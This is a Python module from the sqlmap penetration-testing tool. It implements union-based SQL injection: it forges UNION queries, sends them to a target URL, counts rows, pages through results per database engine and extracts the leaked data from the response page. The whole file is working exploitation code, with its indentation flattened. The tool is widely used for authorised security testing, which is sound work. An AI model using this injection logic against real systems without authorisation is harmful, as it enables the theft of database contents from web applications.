#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds
from lib.core.common import getUnicode
from lib.core.common import parseUnionPage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
reqCount = 0
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True, dump=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter:
reqCount = 0
if not kb.unionCount:
unionTest()
if not kb.unionCount:
return
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression)
if ( kb.unionNegative or kb.unionFalseCond ) and not direct:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
if limitRegExp:
if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
limitGroupStart = queries[kb.dbms].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == DBMS.MSSQL:
limitGroupStart = queries[kb.dbms].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == DBMS.ORACLE:
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
expression = expression[:untilLimitChar]
elif kb.dbms == DBMS.MSSQL:
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart
if conf.limitStop:
stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1:
if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
if kb.dbms == DBMS.MSSQL:
field = expressionFieldsList[0]
elif kb.dbms == DBMS.ORACLE:
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
parseUnionPage(output, limitedExpr)
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
payload = agent.payload(newValue=query)
debugMsg = "query: %s" % query
logger.debug(debugMsg)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
return
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(kb.misc.start)
endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
value = getUnicode(resultPage[startPosition:endPosition])
duration = calculateDeltaSeconds(start)
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return value